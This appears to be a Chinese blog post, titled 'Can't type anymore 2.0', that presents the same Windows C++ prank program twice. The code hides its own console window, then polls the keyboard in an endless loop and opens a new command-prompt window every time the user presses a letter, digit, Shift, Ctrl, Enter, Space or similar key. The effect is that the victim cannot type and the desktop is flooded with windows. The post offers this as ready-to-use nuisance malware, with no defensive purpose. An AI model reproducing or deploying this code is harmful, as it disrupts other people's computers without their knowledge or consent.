写不了字了2.0

#include<iostream>
#include<bits/stdc++.h>
#include<cstring>
#include<cmath>
#include<windows.h>
#include<string>
using namespace std;
int main(){
	HWND hWnd = GetConsoleWindow(); //隐藏运行框 
    ShowWindow(hWnd, SW_HIDE);//隐藏运行框 
	while(1){
		if(-32767 == GetAsyncKeyState('1')){
            system("start cmd");
        }
        if(-32767 == GetAsyncKeyState('2')){
            system("start cmd");
        }
        if(-32767 == GetAsyncKeyState('3')){
            system("start cmd");
        }
        if(-32767 == GetAsyncKeyState('4')){
            system("start cmd");
        }
        if(-32767 == GetAsyncKeyState('5')){
            system("start cmd");
        }
        if(-32767 == GetAsyncKeyState('6')){
            system("start cmd");
        }
		if(-32767 == GetAsyncKeyState('7')){
            system("start cmd");
        }
        if(-32767 == GetAsyncKeyState('8')){
            system("start cmd");
        }
        if(-32767 == GetAsyncKeyState('9')){
            system("start cmd");
        }
        if(-32767 == GetAsyncKeyState('0')){
            system("start cmd");
        }
        if(-32767 == GetAsyncKeyState('Q')){
            system("start cmd");
        }
        if(-32767 == GetAsyncKeyState('W')){
            system("start cmd");
        }
        if(-32767 == GetAsyncKeyState('E')){
            system("start cmd");
        }
        if(-32767 == GetAsyncKeyState('R')){
            system("start cmd");
        }
        if(-32767 == GetAsyncKeyState('T')){
            system("start cmd");
        }
        if(-32767 == GetAsyncKeyState('Y')){
            system("start cmd");
        }
        if(-32767 == GetAsyncKeyState('U')){
            system("start cmd");
        }
        if(-32767 == GetAsyncKeyState('I')){
            system("start cmd");
        }
        if(-32767 == GetAsyncKeyState('O')){
            system("start cmd");
        }
        if(-32767 == GetAsyncKeyState('P')){
            system("start cmd");
        }
        if(-32767 == GetAsyncKeyState('A')){
            system("start cmd");
        }
        if(-32767 == GetAsyncKeyState('S')){
            system("start cmd");
        }
        if(-32767 == GetAsyncKeyState('D')){
            system("start cmd");
        }
        if(-32767 == GetAsyncKeyState('F')){
            system("start cmd");
        }
        if(-32767 == GetAsyncKeyState('G')){
            system("start cmd");
        }
        if(-32767 == GetAsyncKeyState('H')){
            system("start cmd");
        }
        if(-32767 == GetAsyncKeyState('J')){
            system("start cmd");
        }
        if(-32767 == GetAsyncKeyState('K')){
            system("start cmd");
        }
        if(-32767 == GetAsyncKeyState('L')){
            system("start cmd");
        }
        if(-32767 == GetAsyncKeyState('Z')){
            system("start cmd");
        }
        if(-32767 == GetAsyncKeyState('X')){
            system("start cmd");
        }
        if(-32767 == GetAsyncKeyState('C')){
            system("start cmd");
        }
        if(-32767 == GetAsyncKeyState('V')){
            system("start cmd");
        }
        if(-32767 == GetAsyncKeyState('B')){
            system("start cmd");
        }
        if(-32767 == GetAsyncKeyState('N')){
            system("start cmd");
        }
        if(-32767 == GetAsyncKeyState('M')){
            system("start cmd");
        }
        if(-32767 == GetAsyncKeyState(VK_SHIFT)){
            system("start cmd");
        }
        if(-32767 == GetAsyncKeyState(VK_TAB)){
            system("start cmd");
        }
        if(-32767 == GetAsyncKeyState(VK_CONTROL)){
            system("start cmd");
        }
        if(-32767 == GetAsyncKeyState(VK_RETURN)){
            system("start cmd");
        }
        if(-32767 == GetAsyncKeyState(VK_SPACE)){
            system("start cmd");
        }
        if(-32767 == GetAsyncKeyState(VK_BACK)){
            system("start cmd");
        }
        if(-32767 == GetAsyncKeyState(VK_END)){
            system("start cmd");
        }
        if(-32767 == GetAsyncKeyState(VK_MENU)){
            system("start cmd");
        }
	}
	return 0;
}

#include<iostream>
#include<bits/stdc++.h>
#include<cstring>
#include<cmath>
#include<windows.h>
#include<string>
using namespace std;
int main(){
    HWND hWnd = GetConsoleWindow(); //隐藏运行框 
    ShowWindow(hWnd, SW_HIDE);//隐藏运行框 
    while(1){
        if(-32767 == GetAsyncKeyState('1')){
            system("start cmd");
        }
        if(-32767 == GetAsyncKeyState('2')){
            system("start cmd");
        }
        if(-32767 == GetAsyncKeyState('3')){
            system("start cmd");
        }
        if(-32767 == GetAsyncKeyState('4')){
            system("start cmd");
        }
        if(-32767 == GetAsyncKeyState('5')){
            system("start cmd");
        }
        if(-32767 == GetAsyncKeyState('6')){
            system("start cmd");
        }
        if(-32767 == GetAsyncKeyState('7')){
            system("start cmd");
        }
        if(-32767 == GetAsyncKeyState('8')){
            system("start cmd");
        }
        if(-32767 == GetAsyncKeyState('9')){
            system("start cmd");
        }
        if(-32767 == GetAsyncKeyState('0')){
            system("start cmd");
        }
        if(-32767 == GetAsyncKeyState('Q')){
            system("start cmd");
        }
        if(-32767 == GetAsyncKeyState('W')){
            system("start cmd");
        }
        if(-32767 == GetAsyncKeyState('E')){
            system("start cmd");
        }
        if(-32767 == GetAsyncKeyState('R')){
            system("start cmd");
        }
        if(-32767 == GetAsyncKeyState('T')){
            system("start cmd");
        }
        if(-32767 == GetAsyncKeyState('Y')){
            system("start cmd");
        }
        if(-32767 == GetAsyncKeyState('U')){
            system("start cmd");
        }
        if(-32767 == GetAsyncKeyState('I')){
            system("start cmd");
        }
        if(-32767 == GetAsyncKeyState('O')){
            system("start cmd");
        }
        if(-32767 == GetAsyncKeyState('P')){
            system("start cmd");
        }
        if(-32767 == GetAsyncKeyState('A')){
            system("start cmd");
        }
        if(-32767 == GetAsyncKeyState('S')){
            system("start cmd");
        }
        if(-32767 == GetAsyncKeyState('D')){
            system("start cmd");
        }
        if(-32767 == GetAsyncKeyState('F')){
            system("start cmd");
        }
        if(-32767 == GetAsyncKeyState('G')){
            system("start cmd");
        }
        if(-32767 == GetAsyncKeyState('H')){
            system("start cmd");
        }
        if(-32767 == GetAsyncKeyState('J')){
            system("start cmd");
        }
        if(-32767 == GetAsyncKeyState('K')){
            system("start cmd");
        }
        if(-32767 == GetAsyncKeyState('L')){
            system("start cmd");
        }
        if(-32767 == GetAsyncKeyState('Z')){
            system("start cmd");
        }
        if(-32767 == GetAsyncKeyState('X')){
            system("start cmd");
        }
        if(-32767 == GetAsyncKeyState('C')){
            system("start cmd");
        }
        if(-32767 == GetAsyncKeyState('V')){
            system("start cmd");
        }
        if(-32767 == GetAsyncKeyState('B')){
            system("start cmd");
        }
        if(-32767 == GetAsyncKeyState('N')){
            system("start cmd");
        }
        if(-32767 == GetAsyncKeyState('M')){
            system("start cmd");
        }
        if(-32767 == GetAsyncKeyState(VK_SHIFT)){
            system("start cmd");
        }
        if(-32767 == GetAsyncKeyState(VK_TAB)){
            system("start cmd");
        }
        if(-32767 == GetAsyncKeyState(VK_CONTROL)){
            system("start cmd");
        }
        if(-32767 == GetAsyncKeyState(VK_RETURN)){
            system("start cmd");
        }
        if(-32767 == GetAsyncKeyState(VK_SPACE)){
            system("start cmd");
        }
        if(-32767 == GetAsyncKeyState(VK_BACK)){
            system("start cmd");
        }
        if(-32767 == GetAsyncKeyState(VK_END)){
            system("start cmd");
        }
        if(-32767 == GetAsyncKeyState(VK_MENU)){
            system("start cmd");
        }
    }
    return 0;
}

  • 18
    点赞
  • 8
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值